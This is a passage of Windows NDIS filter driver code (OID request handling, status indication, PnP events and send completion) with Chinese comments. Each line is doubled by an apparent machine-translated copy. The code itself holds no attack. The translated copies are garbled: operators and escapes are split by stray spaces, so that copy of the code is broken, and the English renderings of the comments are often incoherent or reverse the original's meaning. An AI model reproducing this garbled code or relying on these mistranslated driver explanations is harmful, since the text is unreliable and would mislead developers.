PNDIS_OID_REQUEST ClonedRequest=NULL; PNDIS_OID_REQUEST ClonedRequest = NULL;
BOOLEAN bSubmitted = FALSE; BOOLEAN bSubmitted = FALSE;
PFILTER_REQUEST_CONTEXT Context; PFILTER_REQUEST_CONTEXT Context;
BOOLEAN bFalse = FALSE; BOOLEAN bFalse = FALSE;
DEBUGP(DL_TRACE, ("===>FilterOidRequest: Request %p.\n", Request)); DEBUGP (DL_TRACE, ("===> FilterOidRequest: Request% p. \ N", Request));
do do
{ {
Status = NdisAllocateCloneOidRequest(pFilter->FilterHandle, Status = NdisAllocateCloneOidRequest (pFilter-> FilterHandle,
Request, Request,
FILTER_TAG, FILTER_TAG,
&ClonedRequest); & ClonedRequest);
if (Status != NDIS_STATUS_SUCCESS) if (Status! = NDIS_STATUS_SUCCESS)
{ {
DEBUGP(DL_WARN, ("FilerOidRequest: Cannot Clone Request\n")); DEBUGP (DL_WARN, ("FilerOidRequest: Cannot Clone Request \ n"));
break; break;
} }
Context = (PFILTER_REQUEST_CONTEXT)(&ClonedRequest->SourceReserved[0]); Context = (PFILTER_REQUEST_CONTEXT) (& ClonedRequest-> SourceReserved [0]);
*Context = Request; * Context = Request;
bSubmitted = TRUE; bSubmitted = TRUE;
ClonedRequest->RequestId = Request->RequestId; ClonedRequest-> RequestId = Request-> RequestId;
pFilter->PendingOidRequest = ClonedRequest; pFilter-> PendingOidRequest = ClonedRequest;
//Filter Driver可以调用NdisFOidRequest引发一个OID查询和设置请求给下层驱动。 / / Filter Driver can call NdisFOidRequest the trigger query and set an OID request to the lower driver.
Status = NdisFOidRequest(pFilter->FilterHandle, ClonedRequest); Status = NdisFOidRequest (pFilter-> FilterHandle, ClonedRequest);
if (Status != NDIS_STATUS_PENDING) if (Status! = NDIS_STATUS_PENDING)
{ {
FilterOidRequestComplete(pFilter, ClonedRequest, Status); FilterOidRequestComplete (pFilter, ClonedRequest, Status);
Status = NDIS_STATUS_PENDING; Status = NDIS_STATUS_PENDING;
} }
}while (bFalse); } While (bFalse);
if (bSubmitted == FALSE) if (bSubmitted == FALSE)
{ {
switch(Request->RequestType) switch (Request-> RequestType)
{ {
case NdisRequestMethod: case NdisRequestMethod:
Request->DATA.METHOD_INFORMATION.BytesRead = 0; Request-> DATA.METHOD_INFORMATION.BytesRead = 0;
Request->DATA.METHOD_INFORMATION.BytesNeeded = 0; Request-> DATA.METHOD_INFORMATION.BytesNeeded = 0;
Request->DATA.METHOD_INFORMATION.BytesWritten = 0; Request-> DATA.METHOD_INFORMATION.BytesWritten = 0;
break; break;
case NdisRequestSetInformation: case NdisRequestSetInformation:
Request->DATA.SET_INFORMATION.BytesRead = 0; Request-> DATA.SET_INFORMATION.BytesRead = 0;
Request->DATA.SET_INFORMATION.BytesNeeded = 0; Request-> DATA.SET_INFORMATION.BytesNeeded = 0;
break; break;
case NdisRequestQueryInformation: case NdisRequestQueryInformation:
case NdisRequestQueryStatistics: case NdisRequestQueryStatistics:
default: default:
Request->DATA.QUERY_INFORMATION.BytesWritten = 0; Request-> DATA.QUERY_INFORMATION.BytesWritten = 0;
Request->DATA.QUERY_INFORMATION.BytesNeeded = 0; Request-> DATA.QUERY_INFORMATION.BytesNeeded = 0;
break; break;
} }
} }
DEBUGP(DL_TRACE, ("<===FilterOidRequest: Status %8x.\n", Status)); DEBUGP (DL_TRACE, ("<=== FilterOidRequest: Status% 8x. \ N", Status));
return Status; return Status;
} }
/************************************************************* / ************************************************* ************
FilterCancelOidRequest函数的功能: Function of function FilterCancelOidRequest:
NDIS调用FilterCancelOidRequest来取消一个OID请求,当NDIS调用FilterCancelOidRequest时, An OID request to NDIS to call FilterCancelOidRequest to cancel when the NDIS call FilterCancelOidRequest,
Filter Driver应该尽可能快的调用NdisFCancelOidRequest。 Filter Driver should call as soon as possible NdisFCancelOidRequest.
*************************************************************/ ************************************************** *********** /
VOID VOID
FilterCancelOidRequest( FilterCancelOidRequest (
IN NDIS_HANDLE FilterModuleContext, IN NDIS_HANDLE FilterModuleContext,
IN PVOID RequestId IN PVOID RequestId
) )
{ {
PMS_FILTER pFilter = (PMS_FILTER)FilterModuleContext; PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
PNDIS_OID_REQUEST Request = NULL; PNDIS_OID_REQUEST Request = NULL;
PFILTER_REQUEST_CONTEXT Context; PFILTER_REQUEST_CONTEXT Context;
PNDIS_OID_REQUEST OriginalRequest = NULL; PNDIS_OID_REQUEST OriginalRequest = NULL;
BOOLEAN bFalse = FALSE; BOOLEAN bFalse = FALSE;
FILTER_ACQUIRE_LOCK(&pFilter->Lock, bFalse); FILTER_ACQUIRE_LOCK (& pFilter-> Lock, bFalse);
Request = pFilter->PendingOidRequest; Request = pFilter-> PendingOidRequest;
if (Request != NULL) if (Request! = NULL)
{ {
Context = (PFILTER_REQUEST_CONTEXT)(&Request->SourceReserved[0]); Context = (PFILTER_REQUEST_CONTEXT) (& Request-> SourceReserved [0]);
OriginalRequest = (*Context); OriginalRequest = (* Context);
} }
if ((OriginalRequest != NULL) && (OriginalRequest->RequestId == RequestId)) if ((OriginalRequest! = NULL) && (OriginalRequest-> RequestId == RequestId))
{ {
FILTER_RELEASE_LOCK(&pFilter->Lock, bFalse); FILTER_RELEASE_LOCK (& pFilter-> Lock, bFalse);
NdisFCancelOidRequest(pFilter->FilterHandle, RequestId); NdisFCancelOidRequest (pFilter-> FilterHandle, RequestId);
} }
else else
{ {
FILTER_RELEASE_LOCK(&pFilter->Lock, bFalse); FILTER_RELEASE_LOCK (& pFilter-> Lock, bFalse);
} }
} }
VOID VOID
FilterOidRequestComplete( FilterOidRequestComplete (
IN NDIS_HANDLE FilterModuleContext, IN NDIS_HANDLE FilterModuleContext,
IN PNDIS_OID_REQUEST Request, IN PNDIS_OID_REQUEST Request,
IN NDIS_STATUS Status IN NDIS_STATUS Status
) )
{ {
PMS_FILTER pFilter = (PMS_FILTER)FilterModuleContext; PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
PNDIS_OID_REQUEST OriginalRequest; PNDIS_OID_REQUEST OriginalRequest;
PFILTER_REQUEST_CONTEXT Context; PFILTER_REQUEST_CONTEXT Context;
BOOLEAN bFalse = FALSE; BOOLEAN bFalse = FALSE;
DEBUGP(DL_TRACE, ("===>FilterOidRequestComplete, Request %p.\n", Request)); DEBUGP (DL_TRACE, ("===> FilterOidRequestComplete, Request% p. \ N", Request));
Context = (PFILTER_REQUEST_CONTEXT)(&Request->SourceReserved[0]); Context = (PFILTER_REQUEST_CONTEXT) (& Request-> SourceReserved [0]);
OriginalRequest = (*Context); OriginalRequest = (* Context);
if (OriginalRequest == NULL) if (OriginalRequest == NULL)
{ {
filterInternalRequestComplete(pFilter, Request, Status); filterInternalRequestComplete (pFilter, Request, Status);
return; return;
} }
FILTER_ACQUIRE_LOCK(&pFilter->Lock, bFalse); FILTER_ACQUIRE_LOCK (& pFilter-> Lock, bFalse);
ASSERT(pFilter->PendingOidRequest == Request); ASSERT (pFilter-> PendingOidRequest == Request);
pFilter->PendingOidRequest = NULL; pFilter-> PendingOidRequest = NULL;
FILTER_RELEASE_LOCK(&pFilter->Lock, bFalse); FILTER_RELEASE_LOCK (& pFilter-> Lock, bFalse);
switch(Request->RequestType) switch (Request-> RequestType)
{ {
case NdisRequestMethod: case NdisRequestMethod:
OriginalRequest->DATA.METHOD_INFORMATION.OutputBufferLength = Request->DATA.METHOD_INFORMATION.OutputBufferLength; OriginalRequest-> DATA.METHOD_INFORMATION.OutputBufferLength = Request-> DATA.METHOD_INFORMATION.OutputBufferLength;
OriginalRequest->DATA.METHOD_INFORMATION.BytesRead = Request->DATA.METHOD_INFORMATION.BytesRead; OriginalRequest-> DATA.METHOD_INFORMATION.BytesRead = Request-> DATA.METHOD_INFORMATION.BytesRead;
OriginalRequest->DATA.METHOD_INFORMATION.BytesNeeded = Request->DATA.METHOD_INFORMATION.BytesNeeded; OriginalRequest-> DATA.METHOD_INFORMATION.BytesNeeded = Request-> DATA.METHOD_INFORMATION.BytesNeeded;
OriginalRequest->DATA.METHOD_INFORMATION.BytesWritten = Request->DATA.METHOD_INFORMATION.BytesWritten; OriginalRequest-> DATA.METHOD_INFORMATION.BytesWritten = Request-> DATA.METHOD_INFORMATION.BytesWritten;
break; break;
case NdisRequestSetInformation: case NdisRequestSetInformation:
OriginalRequest->DATA.SET_INFORMATION.BytesRead = Request->DATA.SET_INFORMATION.BytesRead; OriginalRequest-> DATA.SET_INFORMATION.BytesRead = Request-> DATA.SET_INFORMATION.BytesRead;
OriginalRequest->DATA.SET_INFORMATION.BytesNeeded = Request->DATA.SET_INFORMATION.BytesNeeded; OriginalRequest-> DATA.SET_INFORMATION.BytesNeeded = Request-> DATA.SET_INFORMATION.BytesNeeded;
break; break;
case NdisRequestQueryInformation: case NdisRequestQueryInformation:
case NdisRequestQueryStatistics: case NdisRequestQueryStatistics:
default: default:
OriginalRequest->DATA.QUERY_INFORMATION.BytesWritten = Request->DATA.QUERY_INFORMATION.BytesWritten; OriginalRequest-> DATA.QUERY_INFORMATION.BytesWritten = Request-> DATA.QUERY_INFORMATION.BytesWritten;
OriginalRequest->DATA.QUERY_INFORMATION.BytesNeeded = Request->DATA.QUERY_INFORMATION.BytesNeeded; OriginalRequest-> DATA.QUERY_INFORMATION.BytesNeeded = Request-> DATA.QUERY_INFORMATION.BytesNeeded;
break; break;
} }
(*Context) = NULL; (* Context) = NULL;
NdisFreeCloneOidRequest(pFilter->FilterHandle, Request); NdisFreeCloneOidRequest (pFilter-> FilterHandle, Request);
/* / *
如果FilterOidRequest返回NDIS_STATUS_PENDING,就必须在OID请求完成后调用NdisFOidRequestComplete 来通知上层驱动求请求完成。 If FilterOidRequest return NDIS_STATUS_PENDING, you must complete the OID request call NdisFOidRequestComplete to notify the upper drive demand request is complete.在这种情况下,请求的结果通过NdisFOidRequestComplete的OidRequest参数返回给上层驱动,并通过Status参数返回请求完成的最终状态。 In this case, the result of the request through NdisFOidRequestComplete OidRequest parameters return to the upper-driven, and through the Status parameter to return the request to complete the final state.
要转发OID请求到下层驱动,Filter Driver必须调用NdisFOidRequest。 The forwarding OID request to the lower driver, Filter Driver must call NdisFOidRequest.
如果一个OID请求不能被转发到下层驱动应该当立即返回。 If an OID request can not be forwarded to the next lower driver should when to return immediately.
要完成一个请求且不转发可以直接返回NDIS_STATUS_SUCCESS或其它错误状态 To complete a request not forwarded directly to return NDIS_STATUS_SUCCESS or other error status
或返回NDIS_STATUS_PENDING后调用NdisFOidRequestComplete。 The or return NDIS_STATUS_PENDING call NdisFOidRequestComplete.
*/ * /
NdisFOidRequestComplete(pFilter->FilterHandle, OriginalRequest, Status); NdisFOidRequestComplete (pFilter-> FilterHandle, OriginalRequest, Status);
DEBUGP(DL_TRACE, ("<===FilterOidRequestComplete.\n")); DEBUGP (DL_TRACE, ("<=== FilterOidRequestComplete. \ N"));
} }
/************************************************************* / ************************************************* ************
FilterStatus函数的功能: Function of functions FilterStatus:
当下层驱动报告状态的时候 NDIS会调用它。 NDIS will call it when the lower drive report.此外,Filter Driver还可以自己引发一个状态指示。 , Filter Driver can lead to a status indication.
当下层驱动调用一个状态指示例程时(NdisMIndicateStatusEx或NdisFIndicateStats),NDIS When the lower drive call a status indication routine (NdisMIndicateStatusEx or NdisFIndicateStats), NDIS
会调用Filter Driver的FilterStatus例程。 Call the Filter Driver FilterStatus routine.
Filter Driver在FilterStatus中调用NdisFIndicateStatus传递一个状态指示给上层驱动。 Filter Driver called in FilterStatus NdisFIndicateStatus pass a status indication to the upper drive.此外,还可以过滤状态指示(不用调用 NdisFIndicateStatus)或在调用 NdisFIndicateStatus之前修改状态信息。 In addition, you can also filter status indicator (do not call NdisFIndicateStatus) or modify the status information before calling NdisFIndicateStatus.
Filter Driver要自己引发一个状态报告,可以在NDIS未调用 FilterStatus的情况下调用NdisFIndicateStatus。 Filter Driver To trigger a status report, can call NdisFIndicateStatus NDIS not call FilterStatus.在这种情况下,Filter Driver要设置 SourceHandle 成员为 FilteAttech 参数提供的NdisFilterHandle句柄。 In this case, Filter Driver To set the NdisFilterHandle handle SourceHandle the members FilteAttech parameters.
如果一个状态指示是一个OID请求相关的(下层请求一个 OID 下层要做相应的状态指示),那么状态的DestinationHandle和RequestId成员要设置成上层的OID请求包携带的数据。 If a status indication is an OID request (lower request an OID lower to do the appropriate state instructions), then the state DestinationHandle and RequestId members want to set as the upper OID request packets carrying data.
Filter Driver调用NdisFIndicateStatus后NDIS会调用相邻上层的状态指示函数(ProtocolStatusEx或FilterStatus)。 Filter Driver the call NdisFIndicateStatus after NDIS will call the the adjacent upper state indicator function the (ProtocolStatusEx, or FilterStatus).
****************************************************************/ ************************************************** ************** /
VOID VOID
FilterStatus( FilterStatus (
IN NDIS_HANDLE FilterModuleContext, IN NDIS_HANDLE FilterModuleContext,
IN PNDIS_STATUS_INDICATION StatusIndication IN PNDIS_STATUS_INDICATION StatusIndication
) )
{ {
PMS_FILTER pFilter = (PMS_FILTER)FilterModuleContext; PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
#if DBG # If DBG
BOOLEAN bFalse = FALSE; BOOLEAN bFalse = FALSE;
#endif # Endif
DEBUGP(DL_TRACE, ("===>FilterStaus, IndicateStatus = %8x.\n", StatusIndication->StatusCode)); DEBUGP (DL_TRACE, ("===> FilterStaus, IndicateStatus =% 8x. \ N", StatusIndication-> StatusCode));
#if DBG # If DBG
FILTER_ACQUIRE_LOCK(&pFilter->Lock, bFalse); FILTER_ACQUIRE_LOCK (& pFilter-> Lock, bFalse);
ASSERT(pFilter->bIndicating == FALSE); ASSERT (pFilter-> bIndicating == FALSE);
pFilter->bIndicating = TRUE; pFilter-> bIndicating = TRUE;
FILTER_RELEASE_LOCK(&pFilter->Lock, bFalse); FILTER_RELEASE_LOCK (& pFilter-> Lock, bFalse);
#endif # Endif
NdisFIndicateStatus(pFilter->FilterHandle, StatusIndication); NdisFIndicateStatus (pFilter-> FilterHandle, StatusIndication);
#if DBG # If DBG
FILTER_ACQUIRE_LOCK(&pFilter->Lock, bFalse); FILTER_ACQUIRE_LOCK (& pFilter-> Lock, bFalse);
ASSERT(pFilter->bIndicating == TRUE); ASSERT (pFilter-> bIndicating == TRUE);
pFilter->bIndicating = FALSE; pFilter-> bIndicating = FALSE;
FILTER_RELEASE_LOCK(&pFilter->Lock, bFalse); FILTER_RELEASE_LOCK (& pFilter-> Lock, bFalse);
#endif # Endif
DEBUGP(DL_TRACE, ("<===FilterStaus.\n")); DEBUGP (DL_TRACE, ("<=== FilterStaus. \ N"));
} }
/* / *
Filter Driver提供FilterPnpEventNotify来接收NDIS传递的PnP和电源管理事件 The Filter Driver provides FilterPnpEventNotify to receive NDIS pass PnP and power management events
*/ * /
VOID VOID
FilterDevicePnPEventNotify( FilterDevicePnPEventNotify (
IN NDIS_HANDLE FilterModuleContext, IN NDIS_HANDLE FilterModuleContext,
IN PNET_DEVICE_PNP_EVENT NetDevicePnPEvent IN PNET_DEVICE_PNP_EVENT NetDevicePnPEvent
) )
{ {
PMS_FILTER pFilter = (PMS_FILTER)FilterModuleContext; PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
NDIS_DEVICE_PNP_EVENT DevicePnPEvent = NetDevicePnPEvent->DevicePnPEvent; NDIS_DEVICE_PNP_EVENT DevicePnPEvent = NetDevicePnPEvent-> DevicePnPEvent;
#if DBG # If DBG
BOOLEAN bFalse = FALSE; BOOLEAN bFalse = FALSE;
#endif # Endif
DEBUGP(DL_TRACE, ("===>FilterDevicePnPEventNotify: NetPnPEvent = %p.\n", NetDevicePnPEvent)); DEBUGP (DL_TRACE, ("===> FilterDevicePnPEventNotify: NetPnPEvent =% p. \ N", NetDevicePnPEvent));
switch (DevicePnPEvent) switch (DevicePnPEvent)
{ {
case NdisDevicePnPEventQueryRemoved: case NdisDevicePnPEventQueryRemoved:
case NdisDevicePnPEventRemoved: case NdisDevicePnPEventRemoved:
case NdisDevicePnPEventSurpriseRemoved: case NdisDevicePnPEventSurpriseRemoved:
case NdisDevicePnPEventQueryStopped: case NdisDevicePnPEventQueryStopped:
case NdisDevicePnPEventStopped: case NdisDevicePnPEventStopped:
case NdisDevicePnPEventPowerProfileChanged: case NdisDevicePnPEventPowerProfileChanged:
case NdisDevicePnPEventFilterListChanged: case NdisDevicePnPEventFilterListChanged:
break; break;
default: default:
DEBUGP(DL_ERROR, ("FilterDevicePnPEventNotify: Invalid event.\n")); DEBUGP (DL_ERROR, ("FilterDevicePnPEventNotify: Invalid event. \ N"));
FILTER_ASSERT(bFalse); FILTER_ASSERT (bFalse);
break; break;
} }
//Filter Driver要下层驱动转发收到的事件,转发事件要用到NdisFDevicePnPEventNotify例程 / / Filter Driver To lower driving forward the event received and forwarded events use to NdisFDevicePnPEventNotify routine
NdisFDevicePnPEventNotify(pFilter->FilterHandle, NetDevicePnPEvent); NdisFDevicePnPEventNotify (pFilter-> FilterHandle, NetDevicePnPEvent);
DEBUGP(DL_TRACE, ("<===FilterDevicePnPEventNotify\n")); DEBUGP (DL_TRACE, ("<=== FilterDevicePnPEventNotify \ n"));
} }
/* / *
Filter Driver提供了FilterNetPnpEvent例程来处理网络Pnp和电源管理事件通知。 The Filter Driver FilterNetPnpEvent routines to handle network the Pnp and the power management event notification.
*/ * /
NDIS_STATUS NDIS_STATUS
FilterNetPnPEvent( FilterNetPnPEvent (
IN NDIS_HANDLE FilterModuleContext, IN NDIS_HANDLE FilterModuleContext,
IN PNET_PNP_EVENT_NOTIFICATION NetPnPEventNotification IN PNET_PNP_EVENT_NOTIFICATION NetPnPEventNotification
) )
{ {
PMS_FILTER pFilter = (PMS_FILTER)FilterModuleContext; PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
NDIS_STATUS Status = NDIS_STATUS_SUCCESS; NDIS_STATUS Status = NDIS_STATUS_SUCCESS;
//Filter Driver需要转发网络PnP和电源管理事件给上层驱动。 / / Filter Driver network PnP and power management events need to be forwarded to the upper drive.转发这些事件是通NdisFNetPnpEvent来完成的。 Forwarding these events through NdisFNetPnpEvent to complete.
Status = NdisFNetPnPEvent(pFilter->FilterHandle, NetPnPEventNotification); Status = NdisFNetPnPEvent (pFilter-> FilterHandle, NetPnPEventNotification);
return Status; return Status;
} }
/************************************************************** / ************************************************* *************
FilterSendNetBufferListsComplete函数的功能: Function of function FilterSendNetBufferListsComplete:
NDIS调用 FilterSendNetBufferListsComplete 把发送的结构和数据返还给 Filter Driver。 The NDIS invoked FilterSendNetBufferListsComplete send the structure and the data is returned to the Filter Driver. NDIS可以收集多次NdisFSendNetBufferLists发送的结构和数据形成一个单链表传递给FilterSendNetBufferListsComplete。 NDIS can form a single linked list structure and data collection of several NdisFSendNetBufferLists sent passed to FilterSendNetBufferListsComplete.除非到NDIS调用FilterSendNetBufferListsComplete,否则一个发送请求的当前状态总是未知的。 Unless the NDIS call FilterSendNetBufferListsComplete, or send a request always unknown.
一个过滤驱动是不能在NDIS调用FilterSendNetBufferListsComplete返回结构之前对NET_BUFFER_LIST和其关联的数据做检查的。 A filter driver can not return structures in NDIS call FilterSendNetBufferListsComplete is of NET_BUFFER_LIST and its associated data check. FilterSendNetBufferListsComplete要完成一个发送请求完成后的任何必要的后继处理。 FilterSendNetBufferListsComplete to complete a transmission request is completed any necessary subsequent processing.当NDIS调用FilterSendNetBufferListsComplete时,Filter Driver就重新获地对结构及结构相关资源的所有权。 In the NDIS call FilterSendNetBufferListsComplete, Filter Driver regain ownership of the land on the structure and structural resources.可以在 FilterSendNetBufferListsComplete中释放相关的资源和准备下一个NdisFSendNetBufferLists调用。 Released in FilterSendNetBufferListsComplete related resources and ready to to under a NdisFSendNetBufferLists call.
NDIS总是按照过滤驱动调用NdisFSendNetBufferLists提交的顺序传递给下层驱动,但是回返FilterSendNetBufferListsComplete 的顺序则是任意的。 NDIS always pass the filter driver the call NdisFSendNetBufferLists submit the order to the lower drive but the return FilterSendNetBufferListsComplete order is arbitrary. Filter Driver可以请求一个回环发送请求,只要把NdisFSendNetBufferLists的SendFlags设置成NDIS_SEND_FLAGS_CHECK_FOR_LOOPBACK就行了。 The Filter Driver may request a loopback sends a request, as long as the the NdisFSendNetBufferLists the SendFlags to set into NDIS_SEND_FLAGS_CHECK_FOR_LOOPBACK the line. NDIS会引发一个包含发送数据的接收包指示。 The NDIS will lead a send data receiver package directions.
一个Filter Driver应该对自己引发的发送请求保持跟踪并确保在完成时不调用NdisFSendNetBufferComplete例程。 A Filter Driver should be triggered send requests to keep track and ensure completion call NdisFSendNetBufferComplete routine.
**************************************************************/ ************************************************** ************ /
VOID VOID
FilterSendNetBufferListsComplete( FilterSendNetBufferListsComplete (
IN NDIS_HANDLE FilterModuleContext, IN NDIS_HANDLE FilterModuleContext,
IN PNET_BUFFER_LIST NetBufferLists, IN PNET_BUFFER_LIST NetBufferLists,
IN ULONG SendCompleteFlags IN ULONG SendCompleteFlags
) )
{ {
PMS_FILTER pFilter = (PMS_FILTER)FilterModuleContext; PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
ULONG NumOfSendCompletes = 0; ULONG NumOfSendCompletes = 0;
BOOLEAN DispatchLevel; BOOLEAN DispatchLevel;
PNET_BUFFER_LIST CurrNbl; PNET_BUFFER_LIST CurrNbl;
DEBUGP(DL_TRACE, ("===>SendNBLComplete, NetBufferList: %p.\n", NetBufferLists)); DEBUGP (DL_TRACE, ("===> SendNBLComplete, NetBufferList:% p. \ N", NetBufferLists));
if (pFilter->TrackSends) if (pFilter-> TrackSends)
{ {
CurrNbl = NetBufferLists; CurrNbl = NetBufferLists;
while (CurrNbl) while (CurrNbl)
{ {
NumOfSendCompletes++; NumOfSendCompletes + +;
CurrNbl = NET_BUFFER_LIST_NEXT_NBL(CurrNbl); CurrNbl = NET_BUFFER_LIST_NEXT_NBL (CurrNbl);
} }
DispatchLevel = NDIS_TEST_SEND_AT_DISPATCH_LEVEL(SendCompleteFlags); DispatchLevel = NDIS_TEST_SEND_AT_DISPATCH_LEVEL (SendCompleteFlags);
FILTER_ACQUIRE_LOCK(&pFilter->Lock, DispatchLevel); FILTER_ACQUIRE_LOCK (& pFilter-> Lock, DispatchLevel);
pFilter->OutstandingSends -= NumOfSendCompletes; pFilter-> OutstandingSends - = NumOfSendCompletes;
FILTER_LOG_SEND_REF(2, pFilter, PrevNbl, pFilter->OutstandingSends); FILTER_LOG_SEND_REF (2, pFilter, PrevNbl, pFilter-> OutstandingSends);
FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel); FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);
} }
NdisFSendNetBufferListsComplete(pFilter->FilterHandle, NetBufferLists, SendCompleteFlags); NdisFSendNetBufferListsComplete (pFilter-> FilterHandle, NetBufferLists, SendCompleteFlags);
DEBUGP(DL_TRACE, ("<===SendNBLComplete.\n")); DEBUGP (DL_TRACE, ("<=== SendNBLComplete. \ N"));
} }
/************************************************************* / ************************************************* ************
FilterSendNetBufferLists函数的功能: Function of functions FilterSendNetBufferLists:
NDIS调用一个Filter Driver的FilterSendNetBufferLists例程来过滤上层驱动的发送请求。 NDIS call the Filter Driver FilterSendNetBufferLists routine to filter the upper drive sends a request. Filter Driver不能改变其它驱动传来的NET_BUFFER_LIST结构中的SourceHandle成员的值。 Filter Driver can not change the value of the other drivers coming NET_BUFFER_LIST structure in the SourceHandle members.它可以过滤数据并发送过滤的数据到下层驱动。 It can filter the data and send the data of the filter to the lower drive.
对每一个提交到FilterSendNetBufferLists的NDIS_BUFFER_LIST,我们可做下面的操作。 For each submitted to FilterSendNetBufferLists NDIS_BUFFER_LIST, we can do the following operations.
1)可以把缓冲区通过 NdisFSendBufferLists 传递给下层驱动,NDIS 保证上下文空间对FilterDriver的有效性。 1) can be put buffer by NdisFSendBufferLists in passing to the lower driver, NDIS to ensure the validity of the context the space FilterDriver the.过滤驱动可以在发送前修改缓冲区的内容。 The filter driver can modify the contents of the buffer before sending.可以像处理自己引发的发送请求的缓冲区一样处理这个缓冲区。 Like like a buffer to deal with their own triggered by sending a request to deal with this buffer.
2)可以调用 NdisFSendNetBufferListsComplete 拒绝传递这个包 2) can call NdisFSendNetBufferListsComplete refuse to pass this package
3)排队缓冲区内容到本地的供以后处理。 3) to the local queuing buffer content for later processing.例如要在一定超时后处理或要接收到特定包后才处理等。 For example, after a certain timeout processing or to be received to a specific package before processing.如果支持这种处理方式就要支持取消请求的操作。 If you support this approach is necessary to support the operation of the cancellation request.
4)可以拷贝缓冲区并引发一个发送请求。 4) copy buffer and trigger a send request.它类似自己引发一个发送请求,但必须先调用 NdisFSendNetBufferComplete返回上层驱动的缓冲区。 It is similar to its own to trigger a send request, but must call NdisFSendNetBufferComplete return to the upper drive buffer.
发送请求在驱动栈继续完成,当一个微端口驱动调用NdisMSendNetBufferListsComplete完成一个发送请求时,NDIS会调用微端口 Send a request to complete driver stack when a miniport driver calls NdisMSendNetBufferListsComplete completion of a send request, NDIS calls the miniport
驱动之上最近的Filter Driver的FilterSendNetBufferLists例程。 Drive above the the Filter Driver FilterSendNetBufferLists routine.
在一个发送操作完成后,Filter Driver可以做在FilterSendNetBufferLists中所有修改的相反操作。 After a send operation to complete, Filter Driver the opposite operation can be done in FilterSendNetBufferLists modified. FilterSendNetBufferListsComplete返回一个NET_BUFFER_LIST结构的单链表和发送请求的最终状态给上层的驱动。 The final state of the single FilterSendNetBufferListsComplete return a NET_BUFFER_LIST structure linked list and send the request to the upper drive.当最顶层的 Filter Module的FilterSendNetBufferListsComplete被调用完成后NDIS会调用引发发送请求的协议驱动的ProtocolSendNetBufferListsComplete。 When the the topmost Filter Module FilterSendNetBufferListsComplete is after the call completes NDIS will call the initiator sends a request to the protocol driver ProtocolSendNetBufferListsComplete.如果Filter Driver不提供FilterSendNetBufferLists它还是可以引发一个发送操作的,但它必须提供一个FilterSendNetBufferListsComplete并且不能在这个例程里把这个事件传递给上层驱动。 Filter Driver does not provide FilterSendNetBufferLists it can still lead to a send operation, but it must provide a FilterSendNetBufferListsComplete and can not be in this routine, this event is passed to the upper drive.
一个Filter Driver可以传递或过滤一个上层驱动的回环请求,要传递一个回环请求,NDIS会设置FilterSendNetBufferLists的SendFlags参数为NDIS_SEND_FLAGS_CHECK_FOR_LOOPBACK,Filter Driver在调用NdisFSendNetBufferLists时把这个标记传给它即可。 Loopback request, you can pass a Filter Driver or filter an upper drive to pass a loopback request, NDIS will to set FilterSendNetBufferLists SendFlags parameters for NDIS_SEND_FLAGS_CHECK_FOR_LOOPBACK Filter Driver call NdisFSendNetBufferLists this tag and pass it can.在回环请求的情况下NDIS会指示一个包含发送数据的接收包。 NDIS will indicate a received packet contains the transmission data in the case of loopback request.
通常情况下,如果一个Filter Driver修改的任何行为不是NDIS提供的标准服务,那么它应该当自己为NDIS提供相应的服务。 Under normal circumstances, if a Filter Driver modify any behavior not NDIS standard services provided, then it should provide the necessary services for NDIS.例如,如果一个Filter Driver修改了一个硬件地址请求,就必须处理直接到这个新地址回环包。 For example, if a Filter Driver modify a hardware address request, it must be processed directly into this new address loopback packet.在这种情况下, 因为Filter Driver已经更改了地址NDIS是不能提供一个回环服务的。 In this case, since the Filter Driver has changed the address NDIS is not to provide a loopback services.
还有就是如果Filter Driver设置了混杂模式那它就不能传递额外的数据给上层接收。 Filter Driver set promiscuous mode there is that it can not pass the additional data to the upper receiver.
**************************************************************/ ************************************************** ************ /
VOID VOID
FilterSendNetBufferLists( FilterSendNetBufferLists (
IN NDIS_HANDLE FilterModuleContext, IN NDIS_HANDLE FilterModuleContext,
IN PNET_BUFFER_LIST NetBufferLists, IN PNET_BUFFER_LIST NetBufferLists,
IN NDIS_PORT_NUMBER PortNumber, IN NDIS_PORT_NUMBER PortNumber,
IN ULONG SendFlags IN ULONG SendFlags
) )
{ {
PMS_FILTER pFilter = (PMS_FILTER)FilterModuleContext; PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
PNET_BUFFER_LIST CurrNbl; PNET_BUFFER_LIST CurrNbl;
BOOLEAN DispatchLevel; BOOLEAN DispatchLevel;
BOOLEAN bFalse = FALSE; BOOLEAN bFalse = FALSE;
DEBUGP(DL_TRACE, ("===>SendNetBufferList: NBL = %p.\n", NetBufferLists)); DEBUGP (DL_TRACE, ("===> SendNetBufferList: NBL =% p. \ N", NetBufferLists));
do do
{ {
DispatchLevel = NDIS_TEST_SEND_AT_DISPATCH_LEVEL(SendFlags); DispatchLevel = NDIS_TEST_SEND_AT_DISPATCH_LEVEL (SendFlags);
#if DBG # If DBG
FILTER_ACQUIRE_LOCK(&pFilter->Lock, DispatchLevel); FILTER_ACQUIRE_LOCK (& pFilter-> Lock, DispatchLevel);
if (pFilter->State != FilterRunning) if (pFilter-> State! = FilterRunning)
{ {
FILTER_RELEASE_LOCK(&pFilter->Lock, DispatchLevel); FILTER_RELEASE_LOCK (& pFilter-> Lock, DispatchLevel);
CurrNbl = NetBufferLists; CurrNbl = NetBufferLists;
while (CurrNbl) while (CurrNbl)
{ {
NET_BUFFER_LIST_STATUS(CurrNbl) = NDIS_STATUS_PAUSED; NET_BUFFER_LIST_STATUS (CurrNbl) = NDIS_STATUS_PAUSED;
CurrNbl = NET_BUFFER_LIST_NEXT_NBL(CurrNbl); CurrNbl = NET_BUFFER_LIST_NEXT_NBL (CurrNbl);
} }
NdisFSendNetBufferListsComplete(pFilter->FilterHandle, NdisFSendNetBufferListsComplete (pFilter-> FilterHandle,
NetBufferLists, NetBufferLists,
DispatchLevel ? NDIS_SEND_COMPLETE_FLAGS_DISPATCH_LEVEL : 0); DispatchLevel? NDIS_SEND_COMPLETE_FLAGS_DISPATCH_LEVEL: 0);
break; break;
